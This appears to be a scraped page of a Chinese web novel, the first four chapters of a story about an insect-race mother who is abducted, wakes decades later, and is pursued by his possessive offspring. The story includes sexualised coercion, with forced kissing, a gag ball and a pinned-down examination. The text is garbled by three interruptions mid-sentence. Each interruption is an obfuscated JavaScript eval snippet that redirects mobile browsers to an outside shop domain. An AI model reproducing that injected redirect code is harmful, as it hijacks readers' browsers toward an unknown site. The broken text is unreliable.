《太纵容孩子的虫母是要被》 1. 第一章 “妈咪,好棒……” “好爱妈妈,妈妈爱我吗?” 珀尔迷迷糊糊抬起下巴尖,他的小皇冠都歪了。一条骨质尾巴狰狞地延伸翘起伸过来轻轻把他的皇冠扶正。 打赢了擂台的雄虫抱着可怜兮兮的虫母,对方的体型比珀尔大了一圈,漆黑的虫甲、坚硬的腹部外骨骼和修长锋利的虫肢都仔细收好,生怕伤到怀里的漂亮妈咪。 “爱你……”这个时候珀尔已经被折腾得受不住了,还是可怜兮兮地抬着脸回应着孩子的话。 “今天是妈咪自己要安抚的,妈咪不可以受不住。” 冰冷坚硬的、节肢组成的尾巴灵活地圈住珀尔的腰肢,把他拎起一点,珀尔的脚尖都碰不到地了。 “妈妈一直这样,总想要安抚孩子,把自己弄得好惨,笨蛋妈咪。”这只雄虫吻上珀尔的唇。 才刚刚被放过,又重新被虫子马不停蹄吻住。红艳艳的唇肉纠缠、贴紧,唇缝里发出粘腻的吮吸声,脸颊肉被顶出一个又一个鼓起。都被弄熟弄透了。 过分漂亮的虫母在一众小麦色皮肤的虫子堆里像兔子进了狼群。笨蛋的舌根都要被虫子亲麻了,触电般的快感让珀尔哆哆嗦嗦又哭出来几滴泪。 虫子结构特殊的倒三角型舌尖能伸到珀尔的舌根,甚至恶劣地放出捕猎时才会用到的、尖端细长的、柔软灵活的长舌头,让笨蛋妈咪只能不停地往下咽,否则就会被呛到。 又欺负他……小妈咪的脸颊泛起淡淡的粉。但被恶劣的孩子这样欺负,珀尔也全都柔软收下。 这样无底线的溺爱导致虫子愈发得寸进尺。 “妈咪可以再给我怀一窝卵吗。” 怀宝宝……珀尔半阖着眼睛,淡金色的瞳孔澄澈纯洁,纤长浓密的的纯白睫毛细细密密抖着。几缕白色的头发黏着脸颊。他下意识摸了摸微微鼓起一点的小肚子,那里已经怀上一窝宝宝了。 孕囊里的幼卵正因为雄虫的靠近而躁动不安,时不时就动弹着折腾他们可怜的妈咪。 宝宝们很活泼。但小妈咪却有些悲伤,也许这一窝里,就有死去的那些孩子。 珀尔轻轻抿了抿唇,形状漂亮的唇瓣已经被嘬吮到红肿,原本清晰的唇线吻到模糊不清,唇珠都被嘬得翘起一点。 虫子的生命要比虫母短得多,他们会重新被虫母生出来。 但,在孩子死掉的时候,珀尔还是会难过。而虫子强烈的嫉妒心会促使他们为了珀尔的一滴泪心甘情愿赴死。 每个虫子在死前都会想,妈咪会为我流泪吗。 甚至现在,雄虫看见珀尔轻轻摸着鼓起一点的小腹时,也一样会嫉妒得咬牙切齿,餮足和不满在他眼里揉成深黑,“妈咪让他们回家了。” “要是我也死掉,妈咪会为我哭吗,也会这样乖乖怀上我吗?” 珀尔终于发现自己太溺爱他们了。 妈咪支支吾吾骗走了身边陪着他的虫子,在巢穴门口决定了三四次才迈出第一步。他要好好教育这些虫子!他可是妈妈! 可是,万一孩子们特别特别伤心怎么办。笨蛋妈咪又退回去一步。 不行,必须要让他们知道这样是不对的,不可以不珍视自己的生命,就算会再次被生出来。但没有记忆、重新开始的,也是会让虫母难过的。 珀尔不喜欢,也心疼他们死的时候会痛。 珀尔给自己鼓气,他要当好妈妈!一定要让孩子们知道这是不对的! 是的,珀尔想藏起来一天或者半天……让这些虫子知道离开是一种难过的事情。好吧,他觉得三个小时的效果应该也不错。 珀尔还是心软,一个小时其实也可以的吧……他把自己的信息素收敛住,一丝一毫都没有放出去。还没等到他看见虫子被教育到,眼前却已经漆黑一片。 “等,等等……”虫母连话都没来得及说完,就被人抓进胶囊仓了。 胶囊仓里放置了催眠的装置,一开始里面还传出拍打挣扎的声音,没一会就彻底安静下来。 身形魁梧的男人抬起装着笨蛋虫母的胶囊仓,“陈教授,今天运气真好,居然遇到了一只落单的虫母。” 旁边被称呼为“陈教授”的中年男人眯起眼睛,像打量货物一样把珀尔从头看到脚,这才点点头,“是虫母,快回星舰,胶囊仓不能完全封闭住虫母的信息素。” “虫母的信息素能传达的消息很多,很快,就会有一大批雄虫赶来。” 而他们如果来不及离开,就会被虫族修长锋利、仿若尖刀的虫肢撕成碎片。 在他们登上星舰的瞬间,不远处的巢穴里,王虫似有所感般抬起头。他绷紧下颌,那是咬紧后槽牙的表现,王虫急匆匆去到珀尔的专属房间。 ——已经空无一人。 他拽住门口端着葡萄才回来的雄虫,眼角微微下压,眼睑偏长,黑沉沉的眼瞳看起来很瘆人,“妈妈呢?” …… 星际2900年,蓝星科技飞速发展,已打造出可星际航行的星舰,人类开始首次向外探寻外星生命的旅程。 46年后,人类对外星生命的了解已逐步加深,且捕获了多只外星生物,其中包括虫族的母亲——虫母。 人类试图在这些寿命是他们十几倍的生物身上探寻永生的秘密。星际2986年,除001号虫母外,其他外星生物均已有不同程度的突破。 这只沉睡了40余年的美丽生物,人类仍旧没能让其睁开双眼。 “陈教授,您最新发表的论文里有提到,人类目前已经可以通过部分疫苗突破一百六十七岁的寿命限制。这是否意味着在未来的某一天,我们也能实现永生呢。”记者的镜头对准台上依旧保持着中年人模样的教授。 而他已经整整123岁了。 陈教授微微一笑,“得益于外星生命的发现,我们仍在对其进行研究,永生对于我们来说已经不是遥不可及的梦想。” …… “001号还没有醒来的迹象吗。” 研究员穿着隔离服,轻轻用手在空中一划,每个人面前就多出一份虚拟面板。 ——是珀尔的研究记录。 36年过去了,陈教授的研究已经整整三十几年没有新的进展,部分实验体已经死亡无法进行实验,研究所里只剩下这只沉睡的虫母还有研究的希望。 而他们这些年也再没有发现其他外星种族。或许等人类的科技再进步些,才能接续这项实验。 总部多次发布通知,陈教授这类技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751279|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术人员被调到其他研究项目。他最后回头看了一眼,研究所被封闭。 永生计划宣布暂停。 一年后,人类发射到更远星系的飞船突然坠回蓝星,总部派人前去救援,打开驾驶舱,里面的驾驶员已经被啃食干净。 一只通体漆黑的外星生物来到蓝星。 “祂”缓缓站起,脊椎凸出的锋利骨刺边缘泛着金属般的光泽,布满外骨骼的尖利爪尖看起来很像影片里的细长鬼手,但杀伤力确要比那东西大得多。 虫族发出嘶鸣,血肉纷飞,哀嚎遍野。陈教授也在其中,他连逃跑都没有力气,看着这只不知道进化了多久、已然把自己的暴虐彻底释放出来的虫族,尖叫都发不出声音了。 “噗——” 布满外骨骼的爪尖轻而易举穿透人类的胸膛,指骨因为畸变被拉长拉宽。黑色巨虫似乎认出了他,把串在指尖上的中年人拎了起来。 陈教授直面这只过分强悍的虫族,第一次对外星文明有了惧怕,“救……救命……” 虫子椭圆形的纯黑色复眼向外凸出,几千只密密麻麻的眼睛无规律地乱动着,“祂”用虫族的语言问。 ——“我的妈妈在哪。” 陈教授不是外星语领域的专家,根本听不懂对方在说什么,胸膛处的伤口愈发疼痛,口里弥漫上一股股的、温热的血。 竟就这样僵硬的死在虫子的爪尖上。 【死了……妈妈在哪……】 【戴维德你太残暴了,妈妈不会喜欢你杀人的。】 【妈妈跑掉了,戴维德也疯了,我感觉我也要疯掉了,妈妈……妈妈……】 【找到妈咪,要把他关起来,用我们研制的道具……让他再也不能隐藏自己的信息素……让他再也跑不掉……】 【妈妈……】 虫族在百年里的进化速度达到了有史以来的巅峰,他们为了寻找珀尔,往不同的星系派出大量的虫子,甚至为了能够最快地获得消息,不惜把全族改造成一个意识体。 所有虫子可以公用一个意识,既相互割裂又相互联系着。 而这样的改造也意味着,虫母的基因不再能参与虫族的基因,他们与自己的妈妈失去了血缘的联系。虫母的地位依旧至高无上,虫族愿意用全族的改造作为代价重新迎回自己唯一的王上。 直到37年前,虫族派来太阳系附近的一只嗅闻到了珀尔浅淡的味道,并不是珀尔的信息素,而是他被掳走时孕囊里已经成型的卵。 这只虫族刚好是那些卵的父亲,他闻到了卵的味道。 接下来的时间,虫族一直在等待,先要彻底确定母亲到底在哪一颗星球,然后要准备大规模搬家。 等待了37年,人类的飞船终于再次经过虫族所在的星球,他们几乎是迫不及待的占领了那飞船。 而大规模的舰队只比飞船晚了两天到达地球。 拥有同一个意识的虫族外貌也变化了,他们长得近乎一模一样。 蓝星沦陷只用了23年,人类从全力抵抗到苟且偷生,虫族没有对人类赶尽杀绝,他们还记得妈妈的命令。 虫族给人类留了一块生存空间,它们唯一的条件是。 ——把他们的妈妈还给他们。 2. 第二章 被关停很久的研究所已经破败不堪,这些年无人维修,隐秘着的出口也早就大敞着。狂风卷着黄沙往内呼呼钻着,精密的器械上多出一层厚厚的灰土。 一只觅食的猫发现了这里,它好奇地钻了进来,轻巧地从灰土堆旁边绕过去,留下一串梅花脚印。 它跳到封闭着漂亮小男生的胶囊仓上,仔细盯着里面白皙漂亮的人看。 “喵——” 没有人理它,胶囊仓里充斥着淡白色的半透明液体,把里面那沉睡着的小漂亮裹得严严实实。 白金色的发丝慢吞吞地随着液体轻轻摆动着,露出小半张漂亮如瓷娃娃般的脸颊,白皙精致的下巴尖微微抬着,肌肤也是一种缺乏血色的苍白,像是一块未经雕琢但得天独厚的美玉。 纯白的、纤长浓密的睫毛被液体裹挟着,一缕一缕黏在一起,时不时细细密密抖两下,似乎做了什么不喜欢的噩梦。 珀尔静静在里面沉睡着,已经这样度过了几十年,只有这些微弱的细微动作还能证明珀尔还是活着的。 再往下看,线条优美的修长脖颈上围着一圈毛茸茸的毛领子,乍一看就像是怕冷的小妈咪给自己围上的雪白毛绒围巾。但,仔细看才能发现。 ——那是虫母自己长出来的,就像雪白的、毛茸茸的蛾。 此时毛领子也被弄得湿透了,看起来很糟糕。不像是被浸泡在营养液里,倒像是,被孩子们的种淋了满头满脸。 猫很喜欢这只漂亮的……妈咪,它看到对方微微鼓起一点的小肚子,动物敏感的直觉告诉它,那里面已经孕育上一窝卵。 而且是极度危险生物的后嗣,明明只是在它们的妈妈面前看了一会,就已经感受到带着浓郁黑暗的压迫落在它身上。 孕囊里的一团幼卵才丁大一点,却已经本能地开始知道排斥一切靠近妈妈的雄性了。 他们的妈妈是笨蛋,还是个漂亮温柔的妈咪。妈妈要被更年轻力壮的雄性继承这件事几乎是刻在雄虫本能里的,自然把一切雄性都当成自己的劲敌。 他们深深爱着自己的妈妈,渴望得到对方所有的温柔。从妈咪的温暖孕囊里出来,再回到温暖里是所有虫子的毕生梦想。 孕囊里的幼卵压成一片,躁动的幼卵们不停地折腾着可怜的小妈咪。 珀尔微微蹙起眉头,他抿起嘴唇,将原本就红润的唇瓣摩擦得更艳。一声轻微而短促的呜咽在安静的房间内显得格外明显。 “唔……不要压……” 胶囊仓的封闭时间结束了,“咔哒”一声,两侧的仓门自动打开,粘稠冰凉的营养液哗啦啦泄了一地,里面裹着的虫母慢吞吞睁开眼。 纯白的睫毛上还挂着残余的营养液,湿漉漉的黏在一起,珀尔还没缓过来,他呆呆地眨了眨眼睛。 在他沉睡的这些年,研究员也猜测过他的眼睛会是什么颜色的,但都没有这双淡金色的眸子漂亮、纯洁。 珀尔似乎生来就应该是妈咪,那股纯得要命的妈妈味叫人一看就知道。 珀尔把沉睡的困倦劲缓了过去,这才发觉到有什么温热的东西在舔他的脸颊,带着倒刺的舌尖舔在脸上不痛,只是痒痒的。 “你是谁?”珀尔把旁边舔他的猫举起,被舔的第一反应是好软哦。第二反应就是急匆匆把呼噜呼噜响的猫放下,孩子们又要借着吃醋的由头要福利了QAQ 珀尔没等到自己的孩子们,周围只有一只想接着被小妈咪抱起来的猫。 笨蛋虫母发出今天的第一声疑问,“这是哪?” 他的族群呢?他的孩子们呢?他新生下来的一批卵还差几天就能孵化了,他怎么忽然就离开家了呢?他明明只是想躲几个小时吓唬一下孩子们的,怎么就被人掳走了啊…… 珀尔紧张的时候喜欢咬自己的嘴唇,他的孩子们在这时就会往他嘴里塞手指或者尾巴。珀尔怕咬痛孩子们,就会不自觉放轻动作,只是自己可怜兮兮呜咽。 但现在,没有一只虫子在他身边。珀尔性格软,心里又惦记着他的孩子们,此时眼眶一圈都是红的,微微发红的、狭长昳丽的眼尾恹恹向下垂着。 珀尔红艳艳的唇瓣上多出几枚齿痕,他轻轻碰了碰自己的小腹,还好,肚子里怀着的宝宝还很活泼。它们争先恐后聚集到珀尔手心处,贪婪地感受着妈咪的温暖。 冰凉粘稠的营养液基本都漏到地板上了。珀尔从胶囊仓里站了起来,他习惯了在巢穴里时时刻刻被孩子们用虫躯覆着他,习惯了不穿衣服方便喂孩子。 现在猛地这样被风一吹,反而有些冷,珀尔抱起一直扒拉他想要抱抱的猫咪,自己跟猫小声嘟哝着,“我要找到可以蔽体的衣服。” 虫母的身体自然是美丽的,即使脖颈处的绒毛和后背的半透明翅膀已经被营养液弄湿,也依旧美丽地不可方物。 手指甲型圆润、纤白窄瘦,肌肤白皙胜雪,就连手背上淡蓝脉络的走向都清晰可见。有一点软肉的手臂嫩生生地像藕一样。 丰腴的小包软绵绵被手臂拢着,挤压出一点软肉。珀尔的四肢修长,在他第一次生育后骨骼就抽条再次发育了一次,但丝毫没有影响到那腿鑫处的丰腴肉浪,依旧是并上腿一点缝隙都没有的丰满。 珀尔小心翼翼从胶囊仓里走了出来,旁边的桌子上凌乱地摆着几份资料,他拍掉上面的尘土。 珀尔不认识上面的字。 但是,底下附着的照片,他能认出来,那是他的照片,而且还有孕囊的,里面挤在一起的一团幼卵是他的宝宝。 珀尔大概知道绑架自己的人在干什么了,原来是把他绑来这里研究。珀尔还想看看有没有其他的信息,他看见右上角的一串数字,忽然顿住。 ——星际3022年7月18日。 这是最后一次记录,再往下就没有其他的了。 珀尔有种很不好的预感,他已经离开了族群快百年,那,他的孩子们…… 没有了珀尔爱着、管着这些虫子,他们会疯成什么样子。珀尔不敢想。 没有丝毫犹豫,珀尔草草在淋浴间里清洗了一下,换了一件从员工柜子里翻到的衣服。珀尔轻轻摸了摸自己的肚子,眉眼间带着自己都未曾察觉到的温柔悲悯。 “我们去找你们的父亲,好不好?”珀尔好想他的孩子们,他只不知所措了一会,就决定要去找自己的孩子们。 …… 研究所建的地方很偏僻。珀尔轻轻放出自己的信息素,慢吞吞探寻着自己孩子的味道。 虫母的信息素顺着风往远继续飘着,只要有一只虫子发觉到,就能嗅到虫母传递的消息。 ——“我在找你们,我好想你们。” 没有得到回应。珀尔还没来得及散发更多信息素,就被安全区附近巡逻的守卫发现了。 “谁在那!”几个带着金属覆面的高大男人慢慢朝着珀尔藏身的地方走去,“不许动,出来。” 珀尔颤颤巍巍停住脚步,能遮住整个人的兜帽把他裹住,只露出一双漂亮的金色眼睛,他的声音小小闷闷的,“我,我不是坏人,我想找我的孩子们……” 笨蛋虫母没发觉到,这些守卫看见他的瞬间眼底多出的阴暗痴狂,只是低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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珀尔想起这些,又有些失落地垂下眼睛,也不知道他的孩子们现在怎么样了。 凑到珀尔身边的雄虫守卫们蠢蠢欲动。 【妈妈好伤心……信息素都是悲伤的味道,他在想我们吗?】 【怎么可能,他抛弃了我们,他跑掉了,不会想我们的。】 【坏妈妈,要惩罚妈妈,戴维德说要搞的那个,用那个惩罚妈妈……】 【哈……妈妈要按照我们的要求直播玩给大家看吗……】 【他会的。】王虫的声音响起,这些雄虫愤恨地看着风尘仆仆赶来的王虫,嫉妒几乎要把他们给吞食掉了。 可恶的幸运儿,被妈妈选中的王虫,妈咪心里地位更高的孩子。 珀尔被弄到检查室,他张嘴想说自己不想进城,他要找孩子…… 下一秒,一枚圆润的、粉红色口球堵住他的话语,只剩模模糊糊的声音。 赶来的这位执政官眸色黑沉,身高腿长,看起来是个狠角色。 笨蛋妈咪可怜兮兮往后躲了躲,那被皮质手套裹着的、骨节分明的手停在半空中。 珀尔不知道对方在委屈什么,明明这男人冷峻得像狼群里的头狼,但是珀尔听声音就是觉得对方很委屈。 “不要躲我。我只是为你做检查,检查过就可以跟我进区了。” 珀尔应该摇头拒绝的,但这人委屈的声音他莫名感觉熟悉,心软的妈咪还是没能狠下心。 好像他的孩子啊,他可怜的孩子…… 3. 第 3 章 心软的下场就是要被压在检查的仪器上,珀尔泛红的眼尾不悦地上挑,还要被用仪器去检查孕囊里的宝宝……发育得怎么样了…… 虫母挣扎着把口里的那颗小球吐出来半颗,好在这男人似乎忘记了要把带子绑在脑后,珀尔这才得以解救自己的唇瓣。 被迫撑开的唇角都泛起艳丽的颜色,红润的唇瓣上裹了一层亮晶晶的口涎,上刚刚挣扎呜咽时留下的。 冰凉的检查仪器又压上虫母柔软鼓起的小腹。 如果这是他的孩子,他一定会给孩子点妈咪的教训,但……这男人看起来好凶哦,珀尔的鞋尖小心翼翼往前挪了一点,想躲开压着他小腹的冰凉检查仪器。但立马又被骨节分明的大手攥着丰腴的大腿轻轻带了回来。 “你!”珀尔回头看见戴维德那双黑沉沉的眸子,气势一下子就弱了起来,“不要拽我,我不想进去,我要找孩子的。” 戴维德盯着妈妈跟柔软小天鹅一样挺起的毛茸茸脖领子,时隔多年重新触碰到虫母的餮足和永远不会被满足的欲在他眼里揉成深黑。 “不要逃,你没有其他地方可以去的。” 珀尔听不懂他在说什么,鼓起勇气有点凶地推了这高大男人一下,男人没怎么动,反而把自己的手心弄得泛起粉色。 “你快放我走,胡说些什么,外面大路小路千千万万条,怎么就没有其他地方可以去。”怀着宝宝的漂亮虫母嘴上凶狠着,手上却偷偷蜷了蜷自己的手心。 这人是铁做的吗,怎么这么硬,手心都推疼了…… 【戴维德惹妈妈生气了……哈……】 【王虫殿下也有这一天啊,我看妈妈不会再选戴维德做他的王虫了。】 【自荐通道在哪。】 【谁有王虫自荐的材料模板啊,急需!】 戴维德有些无措地抿起薄唇,他松开珀尔,对方白皙的腿上多出几枚泛红的指痕,“对不起。” 见男人道歉,珀尔又不知道为什么凶不起来了,那股熟悉的委屈大狗味让他实在是不忍心接着凶。 他的孩子里,有一只陪他的时间最久,那个孩子就是这样,明明又高又壮,但就是跟个委屈大狗一样,每次做错事都耍他那套,偏偏珀尔舍不得揭穿他,往往到最后又被骗着玩了好多新花样。 珀尔抿了抿嘴唇,红润的唇瓣被舔得亮晶晶的,“也不是凶你……我真的要找我的孩子,不想进城。” 戴维德很熟练地拢起笨蛋妈咪的手,有意无意的独占欲让他忍不住把妈咪不动声色地圈在怀里,密不透风,他垂着眼睛,“只是,目前只有这一片区域属于安全区,其他区域都有辐射污染,人类无法在那里存活。你的孩子应该也在安全区里的。” “为了你的安全,还是让我替你检查过后,进入安全区后再找你的孩子吧。” 可,他的孩子又不是人。不过珀尔聪明着呢,他没说出这话。但他自己也没其他理由不进安全区了。 笨蛋妈咪还是钻进了虫子下的套,还满心惦记着自己的孩子们。殊不知这些孩子已经盘踞在他身边多时,他们肆意臆想着、意银着自己纯洁心软的妈咪。 【妈咪好笨,安全区里的人类都是在地下活动的,只有虫子才在地面的辐射区域活动。】 【戴维德真小气,居然把同步的意识关闭了,只能听见妈咪的声音,看不见妈咪的脸。妈妈是什么样子的。】 【虫星的新虫子吧,妈咪很好看、很温柔,等回到虫星,你们会有机会见到他的。】 虫族来到蓝星时,这颗星球已经被高速发展的科技挖空了,排放到海里的辐射污水、各种实验残留的辐射废料让这颗星球变得不适宜生存,人类建造出地下基地。 而现在,人类依旧在地下基地生存,虫族并没有赶尽杀绝。他们仍记着妈妈会因此生气,只是一边给人类最后的期限,一边静静的、在荒凉的地表上寻找、聆听着有可能是妈妈发出的各种声音。 …… 精密的仪器裹着冰凉的膏状物质轻轻在珀尔微微鼓起一点的小肚子上慢吞吞压着。 孕囊仿佛都被这冰凉的东西触碰了,里面的幼卵感受到父亲的气息,都躁动起来。虫族的本能让他们极度排斥自己的雄虫父亲,是父亲让他们的妈咪怀上他们。 才这么大一点的可怜小虫母,自己都小小一只就要挺着肚子怀上他们,不知道受了多少的苦、吃了多少的……才怀上他们。 还要用小小一团的身子把他们生下来,之后不会只有这一窝,妈妈此时很年轻,很适合繁育,而他们的雄虫父亲们是如此的爱他们的妈咪。 雄虫父亲是比其他雄性要更可恶、竞争力更强的存在。 珀尔感觉到自己小肚子里的幼卵躁乱地动着,他轻轻碰了碰自己的小腹,无声安抚着这些幼卵。 正拿着仪器检查的戴维德眼角微微下压,他不着痕迹地转移珀尔的注意力,“你的宝宝发育的很好,要看看孕囊的照片吗。” 笨蛋虫母点点头,迫不及待凑了过去,四四方方的显示屏上是他的……那里,里面塞得鼓鼓的一群可爱幼卵,就是他的宝宝。 得益于胶囊仓里那些营养液,珀尔的这一窝宝宝发育得很好。 戴维德不经意一划,旁边的另一半图片也显露出来,是虫母的另一只孕囊,只是跟旁边那鼓鼓囊囊的小口袋不同,这只还是空的。 可怜兮兮的、粉粉白白一小团。 在巢穴里的时候,珀尔的两只孕囊都不会有空下来的时候,往往一窝卵里有很多雄虫的种,但他这一窝还没来得及怀上其他孩子的,就被人掳走了。 男人带着茧子的手指点在显示屏上,刚好点到那只可怜的小口袋,“它好可怜,一只宝宝都没有。” 珀尔的发丝洁白柔软,妥帖地垂落颈侧,扑面而来的融融暖香一股妈咪味,“……你别戳它。” 那手指在显示屏上研磨打转,珀尔有股怪异的感觉,总觉得那手,是在他身上打转的。 “你把他们养得很好,很活泼。” 珀尔挺起胸膛,毛茸茸的脖领子把雪白的下巴尖遮住一点,衬得那张小脸更漂亮白净了。 没什么比夸一个笨蛋虫母的宝宝养得好更让他高兴了。 戴维德拿出这些仪器、检查一气呵成,这导致虫母甚至都没反应过来,这时候他才想起来疑惑。 ——人类男性也是会怀宝宝的吗? 珀尔跟人类的接触仅仅是星际流浪者的交易那几次,他不了解人类的身体构造,珀尔看着脸不红、心不跳、甚至一点惊讶都没有的戴维德,觉得应该是这样的。 实际上,这些设施在虫族到达蓝星之后就已经准备好了,雄虫们知道妈妈是带着卵离开的,他们在找到妈妈后需要给他做身体检查。 这些年下来,设施已经越来越完善,只待珀尔的归来。 “这是你的id卡,安全区欢迎您。”戴维德把一张白色的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751281|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲起来类似玉的身份牌交给珀尔。 在进安全区之前,戴维德转身帮珀尔把兜帽戴上,遮住漂亮的脸蛋。 珀尔的声音闷闷的,“为什么要戴这个,已经没有风沙了。” “安全区里有很多单身的男性,不戴的话容易被直接按在地上把另一个孕囊也填满了。”戴维德说得已经很委婉了,这些孤单了百年的雄虫早就扭曲了,在给妈咪下圈套的时候他们或许是正常的,但已经过去了几十年。 这些家伙恐怕不会受他控制,王虫的威信在对妈咪的思念里早已消失殆尽。遥远的虫星甚至有一些基因不好、但实力强劲的劣等虫组成了反王虫的组织,现在组织规模极速扩大中。 戴维德的直播计划一方面是为了惩罚妈咪,让妈咪给他们发福利。 另一方面则是因为这些在此之前被王虫筛选掉的、不允许接触虫母的实力强劲的劣等虫和扭曲的雄虫聚集在一起,如果妈咪现在不给他们一点福利,等这窝卵生下来回到虫星的时候,妈咪会被玩得很惨。 即使戴维德这么多年也有些扭曲偏执了,但他还是在尽职尽责替珀尔选择最优的方案。 珀尔对这些一无所知,他“哦”了一声就把自己重新藏进宽大的外套里。 路过安全区里的人时,他们就会停下手里的活直勾勾盯着他,珀尔还奇怪着,怎么这里全是男人啊。 戴维德走在旁边,震慑住一些蠢蠢欲动的虫子。来到蓝星的虫族只是一部分,是珀尔在巢穴里就已经存在的雄虫,而那批珀尔心心念念的卵已经孵化成虫了,与一部分领导他们的雄虫留在虫星。 他们没见过虫母,却感受过他的温暖,因此虫星大部分的新虫都加入了劣等虫的组织,他们觉得自己是被抛弃的,怨气比这些雄虫父亲的更大。 好在是有惊无险来到珀尔居住的地方,位于安全区的中心,周围住着年轻力壮的雄虫,可以保证他的安全。 珀尔一丝孩子们的信息素都没有闻到,他有些失望地垂下眼睛,接过钥匙就进房间了。 戴维德在他关上门后冷着脸拎起旁边差点控制不住散发信息素的虫子,“你差点坏了我的事,再有一次,就把你调离母亲身边。” 戴维德需要珀尔不知道身边的一切,那些虫星的虫子也需要看见妈妈找他们做出的努力。 他打开通讯设施发了一条消息出去。 ——【可以把东西拿来了。】 远在另一侧入口的兰伯特收到了这条消息,金丝眼镜的镜片闪过一缕寒光,“运气真好啊,被妈妈偏爱的孩子。” * 珀尔只失落了一会,很快又重新振作起来,他离开了这么久,怎么可能一下子就找到孩子们呢,他既然是妈妈,那就要接着找才对。 珀尔出门跟邻居打听有没有什么工作可以让更多人看见他,没错,在安全区里是要工作的,每天固定送来的餐是根据工作时长分配的。 笨蛋虫母太守规矩了,其实他如果任性一点不去工作,就会发现不工作虫子也会送饭给他,饿着妈咪是不可能发生的事情。 被珀尔搭话的那只雄虫就是差点忍不住释放信息素的那只,他年纪尚小,在巢穴时就侍奉过妈咪一次,之后再也没轮到他,现在乍一下让他跟珀尔这样近距离接触。 虫子的脸瞬间就爆红起来,说话也不利索了,“有,有的,你可以去直播,安全区里,有网络。” 珀尔若有所思,“直播。” 4. 第四章 “大,大家好。我叫珀尔。” “我想找我的孩子们,他们很爱我,我也很爱他们。” 直播间里的观众只有两位数。 有些老旧的、窄小的手机屏幕上映着珀尔漂亮的脸蛋,毛茸茸的脖领子遮挡住一点雪白的下巴尖,反而衬得粉白的脸蛋更加精致漂亮。 昏黄的灯光在漂亮妈咪头顶慢悠悠照着,纤长浓密的睫毛在灯光映照下,投落淡淡阴影。 弹幕淡淡飘过。 【?珀尔】 【这不是……】 【等等,我的手机怎么不受控制打开这个直播间了,这谁,怎么敢说自己是珀尔,不怕被加登·欧文那个疯子生撕了。】 【但是长得好漂亮、好乖,我幻想的妈妈就是这样子的prprpr】 【现在看直播的都是新人吧,主播看起来挺乖的,快跑吧,一会加登他们那批来了,就真成肉馅了。】 珀尔眯着眼睛去看弹幕,他淘来的这手机有点旧了,弹幕刷的又快,他看不太清。 珀尔抿起嘴唇,将原本就红润的唇瓣摩擦得更艳,他凑得更近了,小小的手机屏幕上全是他精致的五官,清脆的声音小小的,“可以慢一点刷吗,我看不清。” 【……?】 【……我没听错的话,他是在命令我们吗。】 【好像是,原则上我不应该听他的话,但为什么我控制不住自己。】 【慢一点就慢一点,不就慢一点吗。】 【主播快下播吧,不要再假装自己是珀尔了,这些年假扮的都被加登给绞成肉馅了。】 珀尔正慢吞吞一条一条看着。 忽然,一个特别绚丽的特效猛地闪了珀尔一下,他忍不住后退几步揉眼睛,这样一动作不小心露出身后嫩生生的半透明翅膀。 虫母身上的体毛全是白色的,全身上下一点色素沉淀都没有,这就导致珀尔对光特别敏感。特效这样一闪,珀尔的眼尾已经红了。 【我去,加登阁下点进来了,这是他的特效。】 【溜了溜了。】 【完蛋了,替主播默哀。】 【默哀加一。】 珀尔看见了那条弹幕,他暗道一声完蛋了,难道他跟这个加登很重要的人重名了?这个加登听起来怎么这么像强盗、混混什么的。现在解释也不会有人信的吧,他,他其实明天再找孩子也不是不可以。 珀尔缓过来之后就急匆匆凑过来找下播键。 但笨蛋越急越忙、越忙越急,索性直接踮起脚尖绕过支架去拔另一边的电源,正在直播的手机被拥进怀里。 屏幕另一头的虫子直愣愣盯着直播间的画面,虫子敏锐的听觉让他们能清清楚楚听见衣料摩擦的声音。 【……我去,为什么我……】 【兄弟,不止你一个。】 【救命啊,真的好像妈妈,记载妈妈日常的书籍上就是这样描述妈妈的,他简直一模一样!】 【加登阁下既然已经进直播间了,我们要不然看看加登阁下怎么说……】 【希望是妈妈,这么多年了我还记得在卵里被妈妈安抚的感觉!】 珀尔没够到电源,还没等他接着努力,就发现之前那个特效用户发言了。 跟旁边弹幕完全不一样的字体颜色,而且要比普通弹幕更大,珀尔想看不到也难。 他挣扎了一下,还是看了,好奇心害死笨蛋妈咪! 【加登:小妈咪,看看翅膀。】 珀尔仿若水洗过的白瓷一样的侧脸泛起了粉,发丝洁白柔软,妥帖地垂落颈侧,整个人都如莹润的珍珠那样漂亮纯洁,一股妈咪味。 他仰着脸看那条弹幕,雪白的下巴尖抬起一点,像那种通体雪白的猫。 “看,翅膀啊……”珀尔有点惊讶。 【!】 【加登阁下啊啊啊啊,真的是吗!】 【肯定是了,加登都说看看翅膀了!】 【我去,不会吧,我还在做梦吗,我要晕过去了。】 【肾虚就滚啊,我同寝室的哥们现在都挤不进直播间,该死的,谁来修修这个破网。】 就在直播间观众人数飞涨的时候,虫星里已经传开了:虫网上有个主播,跟虫母好像,加登·欧文甚至都在直播间里。 